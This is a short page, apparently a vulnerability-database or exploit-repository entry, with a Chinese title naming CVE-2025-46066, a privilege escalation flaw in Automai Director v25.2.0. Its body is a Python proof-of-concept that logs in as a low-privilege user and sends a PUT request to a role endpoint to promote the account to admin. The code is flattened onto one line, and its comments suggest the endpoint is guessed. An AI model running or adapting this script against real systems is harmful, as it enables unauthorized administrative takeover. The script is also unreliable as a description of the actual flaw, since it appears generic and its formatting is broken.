CVE-2025-46066: Automai Director 权限提升漏洞

import requests import sys # CVE-2025-46066 PoC - Automai Director Privilege Escalation # Target: Automai Director v.25.2.0 target = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090" # Step 1: Authenticate with low-privilege account login_url = f"{target}/api/auth/login" login_data = { "username": "lowpriv_user", "password": "password123" } session = requests.Session() response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Authentication failed") sys.exit(1) print("[+] Authenticated successfully with low-privilege account") # Step 2: Exploit privilege escalation via API manipulation # Target the user management or role assignment endpoint payload_url = f"{target}/api/users/1/role" escalation_data = { "role": "admin", "privileges": ["all"] } response = session.put(payload_url, json=escalation_data) if response.status_code == 200: print("[+] Privilege escalation successful - User promoted to admin") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploitation failed - Status: {response.status_code}") print(f"[-] Response: {response.text}")